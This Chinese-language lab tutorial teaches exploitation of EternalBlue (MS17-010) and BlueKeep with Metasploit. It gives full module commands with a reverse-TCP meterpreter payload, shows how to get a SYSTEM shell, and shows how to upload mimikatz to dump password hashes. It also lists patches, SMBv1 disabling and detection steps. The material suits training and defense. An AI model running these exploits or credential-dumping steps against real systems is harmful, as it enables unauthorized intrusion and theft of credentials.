网络安全入门攻击与防御实战（四）

漏洞利用：永恒之蓝（MS17-010）与同类漏洞解析 1 永恒之蓝（MS17-010）漏洞背景

（1）漏洞信息

CVE编号：CVE-2017-0143 ~ CVE-2017-0148

影响范围：Windows XP ~ Windows 2012（未安装2017年3月补丁的系统）。

漏洞类型：SMB协议缓冲区溢出（远程代码执行）。

危害：攻击者可完全控制目标主机（被WannaCry勒索病毒广泛利用）。

（2）漏洞原理

SMBv1协议在处理畸形请求时未正确校验内存，导致攻击者通过恶意数据包覆盖关键内存区域，执行任意代码。

---

2 Metasploit攻击实战

（1） 环境准备

攻击机：Kali Linux（预装Metasploit）。

靶机：未打补丁的Windows 7 SP1（需关闭防火墙，开启SMBv1服务）。

网络配置：确保攻击机与靶机处于同一局域网（NAT/桥接模式）。

（2）攻击步骤

启动Metasploit并搜索模块：

msfconsole search ms17_010 # 显示相关模块（如exploit/windows/smb/ms17_010_eternalblue）

配置模块参数：

use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.100 # 靶机IP set PAYLOAD windows/x64/meterpreter/reverse_tcp # 反向Shell负载 set LHOST 192.168.1.50 # 攻击机IP exploit

攻击成功验证：

若成功，进入meterpreter会话：

meterpreter > getuid # 显示当前权限（应为NT AUTHORITY\SYSTEM） meterpreter > shell # 进入系统命令行

---

3 同类高危漏洞解析

（1）CVE-2019-0708（BlueKeep）

影响：Windows远程桌面服务（RDP）漏洞，无需用户交互即可触发。

Metasploit利用：

use exploit/windows/rdp/cve_2019_0708_bluekeep set RHOST 192.168.1.101 run

（2）CVE-2021-34527（PrintNightmare）

影响：Windows打印服务权限提升漏洞。

利用场景：本地低权限用户获取SYSTEM权限。

（3）CVE-2022-30190（Follina）

影响：Office远程代码执行（通过恶意Word文档触发）。

攻击链：诱导用户打开文档 → 调用MSDT执行Payload。

---

常见问题与解决方案 问题原因分析解决方案模块加载失败“No module found”Metasploit版本过旧更新Metasploit：sudo apt update && sudo apt install metasploit-framework攻击失败“Target not vulnerable”靶机已安装补丁检查靶机补丁（wmic qfe list查看是否包含KB4012212）。Meterpreter会话不稳定网络波动或靶机防护软件拦截使用bind_tcp负载（正向连接）替代reverse_tcp。权限不足“NT AUTHORITY\NETWORK”漏洞利用链不完整尝试其他模块（如ms17_010_psexec）。

---

防御措施

打补丁：

永恒之蓝：安装微软2017年3月安全更新（KB4012212）。

BlueKeep：安装KB4500331补丁。

关闭高危服务：

# 禁用SMBv1（Windows命令） PowerShell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force

网络分段：限制SMB/RDP端口的互联网暴露（仅允许内网访问）。

入侵检测：部署IDS/IPS监控异常SMB流量（如大量\pipe\srvsvc请求）。

---

动手实验：漏洞复现与加固

复现永恒之蓝攻击

使用Metasploit获取靶机Shell，执行upload /root/tools/mimikatz.exe提取密码哈希。

加固Windows靶机

安装补丁后重新扫描，验证漏洞是否修复（Nmap脚本：nmap -p445 --script smb-vuln-ms17-010 192.168.1.100）。

---

总结

永恒之蓝是网络蠕虫级漏洞的代表，需彻底关闭SMBv1并更新系统。

同类漏洞（如BlueKeep）证明老旧协议的高风险性，需持续关注微软安全公告。

防御核心：最小化服务暴露 + 实时漏洞管理 + 流量监控。

注意：漏洞利用仅限授权测试，非法攻击将承担法律责任！

---

通过本节学习，你已掌握如何利用Metasploit复现高危漏洞，下一步可探索其他漏洞（如Weblogic反序列化）的利用与防御